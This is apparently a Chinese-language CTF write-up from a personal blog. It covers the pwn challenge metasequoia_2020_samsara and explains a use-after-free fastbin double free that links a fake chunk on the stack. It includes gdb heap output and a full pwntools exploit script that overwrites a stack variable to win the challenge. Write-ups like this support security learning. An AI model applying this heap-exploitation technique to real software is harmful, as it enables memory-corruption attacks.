Eureka's Studio.

(Fastbin)metasequoia_2020_samsara

2023/11/01

总算遇到一个简单的堆知识点了 fastbin的double free

[Fastbin]metasequoia_2020_samsara

审计

1
2
3
4
5
6
7
// 1. Capture a human
// 2. Eat a human
// 3. Cook a human
// 4. Find your lair
// 5. Move to another kingdom
// 6. Commit suicide
// choice >

源码我就不放了 很简洁的菜单 总共6个功能 其中要通过前5个来构造堆结构 从而满足第6个功能 拿到flag

1
2
3
4
5
6
case 2u:
puts("Index:");
_isoc99_scanf("%d", &v5);
free(index[v5]);
puts("Eaten.");
continue;

而此题与之前做的堆题不一样 此题并没有堆溢出点 无法off_by_one 纯粹是利用free时没有清空对应的堆指针 从而引发的fastbin attack

构造

对于double free的话 需要构造的内容很少 只需要构造出一个循环的fastbin链表即可

1
2
3
4
5
6
7
8
9
10
Create()
Create()

Dele(0)
Dele(1)
Dele(0)

arena ---> chunk0 ---> chunk1 ---> chunk0
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x560c37e10010 --> 0x560c37e10030 --> 0x560c37e10010 (overlap chunk with 0x560c37e10010(freed) )

可以看到我们的chunk0是0x560c37e10010 chunk1是0x560c37e10030 peda也检测到了double free 接下来要做的是修改chunk0中的fd指针 将其定位到v8附近

1
2
3
4
5
6
7
8
9
10
11
12
Create()   //chunk0
Create() //chunk1

Del(0)
Del(1)
Del(0)

Create() //chunk2
pause()

gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x55f313e19030 --> 0x55f313e19010 --> 0x55f313e19030 (overlap chunk with 0x55f313e19030(freed) )

对于目前的fastbin而言 是循环链表 我们进行malloc的话可以申请到相应的堆并修改其中内容 但是这个链表却不会被打破 他只会改变一下顺序 并且对于分配的chunk而言

1
2
3
gdb-peda$ x/8gx 0x000055f3132d6000 + 0x202040
0x55f3134d8040: 0x000055f313e19020 0x000055f313e19040
0x55f3134d8050: 0x000055f313e19020 0x0000000000000000

上方的code代表的是index存储的chunk地址 可以看到与fastbin相对应的地址 下一步需要做的就是打破循环链栈 链接fake chunk

1
2
3
4
5
6
7
8
9
leak_addr = 0
Show()
leak_addr = sh.recv()[:14]
log.success('v7_addr :' + leak_addr)
v7_addr = int(leak_addr, 16)
v8_addr = hex(v7_addr + 0x8)
log.success('v8_addr :' + str(v8_addr))

Edit(2, (v7_addr - 0x8))

为啥是v7_addr - 0x8捏 我们链接的fake_chunk地址应该是chunk的头部 或者说起始地址 他相比v8_addr来说 低了0x10 而v7_addr又比v8_addr低了0x8 于是现在的链表就应该是这样的

1
2
3
4
#多次调试 地址会有所偏差
chunk1 ---> chunk0 ---> fake_chunk
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x55d4aea56030 --> 0x55d4aea56010 --> 0x7ffca173ade0 --> 0x0

可以说在栈上伪造一个堆空间 虽然这个堆空间用heap/praseheap查不到(因为地址所限) 但是因为他链接在了fastbin的链表里 我们可以通过malloc来获取并修改他 现在还有3个chunk Create然后Edit 最后Commit即可

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
sh = process('./metasequoia_2020_samsara')
#sh = remote('node4.buuoj.cn', 29825)
context.log_level = 'debug'

def Create():
sh.sendline('1')
sh.recvuntil('Captured.')

def Del(idx):
sh.sendline('2')
sh.recvuntil('Index:')
sh.sendline(str(idx))
sh.recvuntil('Eaten')

def Edit(idx, payload):
sh.sendline('3')
sh.recvuntil('Index:\\n')
sh.sendline(str(idx))
sh.recvuntil('Ingredient:\\n')
sh.sendline(str(payload))

def Show():
sh.sendline('4')
sh.recvuntil('Your lair is at: ')

def Move(size):
sh.sendline('5')
sh.recvuntil('Which kingdom?\\n')
sh.sendline(str(size))

gdb.attach(sh)

#sleep(3)
Create()
Create()

Del(0)
Del(1)
Del(0)

leak_addr = 0
Show()
leak_addr = sh.recv()[:14]
log.success('v7_addr :' + leak_addr)
v7_addr = int(leak_addr, 16)
v8_addr = hex(v7_addr + 0x8)
log.success('v8_addr :' + str(v8_addr))

Move(0x20)

Create()
Edit(2, (v7_addr - 0x8))

Create()
Create()
Create()
Edit(5, str(3735928559))
sh.sendline('6')
sh.interactive()
CATALOG
  1. 1. [Fastbin]metasequoia_2020_samsara
    1. 1.1. 审计
    2. 1.2. 构造
    3. 1.3. EXP